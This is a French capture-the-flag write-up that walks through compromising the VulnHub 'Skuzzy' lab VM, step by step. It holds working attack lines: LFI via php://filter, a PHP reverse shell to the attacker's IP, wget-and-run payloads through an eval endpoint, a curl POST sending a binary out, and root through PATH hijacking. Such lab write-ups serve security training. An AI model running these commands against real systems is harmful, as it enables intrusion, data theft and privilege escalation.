EW - Skuzzy - Write Up
Reconnaissance
nmap -sS -A 192.168.43.19 PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 80/tcp open http nginx 3260/tcp open iscsi
Exploitation web
On commence par le port 80 :
L'auteur nous indique d'utiliser dirb.
./dirb http://192.168.43.19 wordlist/common.txt
3 fichiers avec un code 200 :
1er résultat : index.html
2ème résultat une video youtube : http://192.168.43.19/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/xmlrpc.php
Pourtant en regardant le code source on peut lire en commentaire :
SGVsbG8sIGlzIGl0IGZsYWdzIHlvdSdyZSBsb29raW5nIGZvcj8KSSBjYW4gc2VlIGl0IGluIHlv dXIgZXllcwpJIGNhbiBzZWUgaXQgaW4geW91ciBzbWlsZQpGbGFncyBhcmUgYWxsIEkndmUgZXZl ciB3YW50ZWQgYW5kIG15IHBvcnRzIGFyZSBvcGVuIHdpZGUgCkNhdXNlIHlvdSBrbm93IGp1c3Qg d2hhdCB0byBzYXkgYW5kIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBkbwpBbmQgSSB3YW50IHRvIHRl bGwgeW91IHNvIG11Y2gsIG5vIGZsYWdzIGZvciB5b3UuLi4K
On décode alors le base64 :
cat base64.txt | base64 -d Hello, is it flags you're looking for? I can see it in your eyes I can see it in your smile Flags are all I've ever wanted and my ports are open wide Cause you know just what to say and you know just what to do And I want to tell you so much, no flags for you...
Il faut donc aller voir du coté des autres ports.
Je suis tombé sur un article expliquant comme exploiter le iscsi ici
Nous utilisons l'outils iscsiadm de la suite open-iscsi :
Nous listons les noeuds disponibles :
>iscsiadm -m discovery -t st -p 192.168.43.19:3260 192.168.43.19:3260,1 iqn.2017-02.local.skuzzy:storage.sys0
Maintenant nous nous connectons sur le noeud :
>iscsiadm -m node -p 192.168.43.19 --target iqn.2017-02.local.skuzzy:storage.sys0 --login Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.43.19,3260] (multiple) Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.43.19,3260] successful.
Une partition à été réjouté à notre système :
fdisk -l Disque /dev/sdc : 1 GiB, 1073741824 octets, 2097152 secteurs Unités : secteur de 1 × 512 = 512 octets Taille de secteur (logique / physique) : 512 octets / 512 octets taille d'E/S (minimale / optimale) : 512 octets / 512 octets
On créé un dossier et on monte la partition :
mkdir /mnt/skuzzy mount /dev/sdc /mnt/skuzzy
Son contenu est le suivant :
-rw-r--r-- 1 root root 100M mars 5 10:00 bobsdisk.dsk -rw-r--r-- 1 root root 143 févr. 28 09:48 flag1.txt drwx------ 2 root root 16K févr. 28 09:39 lost+found
On affiche le premier flag :
cat flag1.txt Congratulations! You've discovered the first flag! flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd} Let's see how you go with the next one...
Nous montons le fichier bobsdisk.dsk en lecture seul :
mount -o ro /home/ark1nar/vulnhub/Skuzzy/iscsi/bobsdisk.dsk /mnt/temp
Son contenu est le suivant :
drwx------ 2 root root 12K févr. 28 09:56 lost+found -rw-r--r-- 1 root root 288 févr. 28 10:25 ToAlice.csv.enc -rw-r--r-- 1 root root 2,3K mars 5 10:00 ToAlice.eml
On affiche le deuxième flag :
cat ToAlice.eml flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
Dans le fichier en plus du flag 2 :
G'day Alice, [...] had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! [...] I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. [...] Cheers, Bob. PS:[...]I used the command option -md sha256 when decrypting[...]
Le texte fait de gros sous-entendu en vers l'aes256 qui serait déchiffrable avec le dictionnaire rockyou.txt
Pour cela on utilise l'outil bruteforce-salted-openssl
./bruteforce-salted-openssl -t 6 -f ~/outils/wordlist/rockyou.txt -d sha256 -c aes256 ~/vulnhub/Skuzzy/hdd/ToAlice.csv.enc Tried passwords: 3475549 Tried passwords per second: 1158516,333333 Last tried password: Password candidate: supercalifragilisticoespialidoso
On déchiffre le fichier :
openssl enc -d -aes256 -salt -in ToAlice.csv.enc -out output.csv -md SHA256 Web Path,Reason 5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here. flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
On a notre flag3 !
Sur la première url : http://192.168.43.19/5560a1468022758dba5e92ac8f2353c0/
Dans le code source encore du base64 , on le décode :
echo 'R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56 YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK' George Costanza: [Soup Nazi gives him a look] Medium turkey chili. [instantly moves to the cashier] Jerry Seinfeld: Medium crab bisque. George Costanza: [looks in his bag and notices no bread in it] I didn't get any bread. Jerry Seinfeld: Just forget it. Let it go. George Costanza: Um, excuse me, I - I think you forgot my bread. Soup Nazi: Bread, $2 extra. George Costanza: $2? But everyone in front of me got free bread. Soup Nazi: You want bread? George Costanza: Yes, please. Soup Nazi: $3! George Costanza: What? Soup Nazi: NO FLAG FOR YOU
Sur la seconde url :
http://192.168.43.19/c2444910794e037ebd8aaf257178c90b
On détecte une LFI dans la variable “p” de l'URL.
A l'aide d'un wrapper PHP on récupère le code source des différentes page :
http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/?p=php://filter/read=convert.base64-encode/resource=index.php http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/?p=php://filter/read=convert.base64-encode/resource=reader.php http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/?p=php://filter/read=convert.base64-encode/resource=flag.php
Dans le fichier flag.php, on trouve le flag 4 :
flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
Le fichier reader.php est intéressant car il nous permet d'inclure du texte distant à condition d'avoir une clé :
[...] // Handle the key validation when it's needed. if($keyneeded) { $key = $_GET['key']; if(is_array($key)) { die("Array trick is mitigated ;)"); } if(isset($key) && strlen($key) == '47') { $hashedkey = hash('sha256', $key); $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656"; if(strcmp($hashedkey, $secret) == 0) { $secretok = true; } else { die("Sorry... Authentication failed. Key was invalid."); } } else { die("Authentication invalid. You might need a key."); } } // Just to make sure the above key check was passed. if(!$secretok) { die("Something went wrong with the authentication process"); }
Après plusieurs tentative de cassage du hash nous tentons le guessing.
flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} ⇒ fait 47 caractères
Et surtout la bonne somme sha256 :
echo -n 'flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}' | sha256sum 5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656
Maintenant il faut regarder la partie exploitation :
// Now load the contents of the file we are reading, and parse // the super awesomeness of its contents! $f = file_get_contents($url); $text = preg_split("/##text##/s", $f); if(isset($text['1']) && strlen($text['1']) > 0) { print($text['1']); } print "<br /><br />"; $php = preg_split("/##php##/s", $f); if(isset($php['1']) && strlen($php['1']) > 0) { eval($php['1']); // "If Eval is the answer, you're asking the wrong question!" - SG // It hurts me to write insecure code like this, but it is in the // name of education, and FUN, so I'll let it slide this time. } }
Le fichier nous permet d’exécuter du code php à condition qu'il soit entouré des balises ##php##.
On créé 3 fichiers :
Le premier est un reverse shell en php
php -r '$sock=fsockopen("192.168.43.172",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Le second est pour récupérer notre reverse shell
##php## system("wget http://192.168.43.172/re.sh -P /tmp/"); ##php##
Le troisième est pour l’exécuter
##php## system("sh /tmp/re.sh"); ##php##
En local on démarre un netcat en écoute :
nc -lvp 1234
On execute dans l'ordre nos deux requetes HTTP avec notre clé :
http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/ ?p=reader &url=http://192.168.43.172/re.txt &key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/ ?p=reader &url=http://192.168.43.172/re2.txt &key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
Exploitation système && Élévation de privilège
On commence par regarder la version du noyau et de la distribution :
uname -a Linux skuzzy 4.4.0-64-generic #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux www-data@skuzzy:/$ lsb_release -a lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.2 LTS Release: 16.04 Codename: xenial
On cherche un exécutable qui aurait des droits root que l'on peut exécuter.
find / -user root -perm -4000 -print 2>/dev/null ... /usr/bin/newuidmap /usr/bin/pkexec /usr/bin/chfn /usr/bin/newgidmap /usr/bin/passwd /usr/bin/sudo /bin/fusermount /bin/mount /bin/su /bin/ntfs-3g /bin/ping /bin/ping6 /bin/umount /opt/alicebackup
Le /opt/alicebackup à l'air prometteur.
Si on veut l'exfiltrer (vers un formulaire d'upload sur notre machine) :
curl -i -X POST -H "Content-Type: multipart/form-data" -F "file=@alicebackup" -F "submit=1" http://192.168.43.172/uploadFilephp.php
Si on l’exécute :
./alicebackup uid=0(root) gid=0(root) groups=0(root),33(www-data) ssh: Could not resolve hostname alice.home: Name or service not known lost connection
On remarque que l'exécutable fait appel à deux commande id et ssh sans spécifié leur chemin complet. Nous allons exploité cette vulnérabilité pour lui faire exécuter un shell root.
On créé un fichier id contenant le chemin /bin/sh
echo '/bin/sh' >/tmp/id chmod +x /tmp/id
On récupère le contenu de $PATH ça nous resservira plus tard
echo $PATH /usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
On modifie le répertoire du $PATH:
www-data@skuzzy:/tmp$ export PATH=/tmp/ export PATH=/tmp/
Il ne reste plus qu'a exécuter alicebackup pour obtenir le root :
$ /opt/alicebackup /opt/alicebackup
On redéfinit le $PATH :
export PATH=/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin id uid=0(root) gid=0(root) groups=0(root),33(www-data)
On affiche le flag 5 :
cat /root/flag.txt Congratulations! flag5{42273509a79da5bf49f9d40a10c512dd96d89f6a} You've found the final flag and pwned this CTF VM! I really hope this was an enjoyable challenge, and that my trolling and messing with you didn't upset you too much! I had a blast making this VM, so it won't be my last! I'd love to hear your thoughts on this one. Too easy? Too hard? Too much stuff to install to get the iSCSI initiator working? Drop me a line on twitter @vortexau, or via email vortex@juicedigital.net
Merci à l'auteur de la vm!